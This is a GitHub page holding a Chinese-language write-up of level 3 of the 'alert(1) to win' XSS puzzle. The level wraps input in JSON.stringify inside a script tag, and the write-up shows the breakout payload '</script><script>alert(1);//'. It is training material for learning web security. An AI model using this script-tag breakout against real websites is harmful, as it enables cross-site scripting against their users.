Skip to content
Branch: master
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
imgs
README.md
payload.js

README.md

[alert(1) to win] [Level 03 - JSON] [解题报告]


题目

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

解题报告

从代码可知对输入做了 stringify 过滤,关于其功能详见 这里

简单来说就是把 "\ 都转义了,导致无法直接闭合函数。

但是闭合 <script> 就可以了,构造 payload 如下 (此处没有闭合后半段的双引号,而是通过行注释 // 屏蔽掉):

</script><script>alert(1);//


版权声明

 Copyright (C) 2016-2019 By EXP License: GPL v3


You can’t perform that action at this time.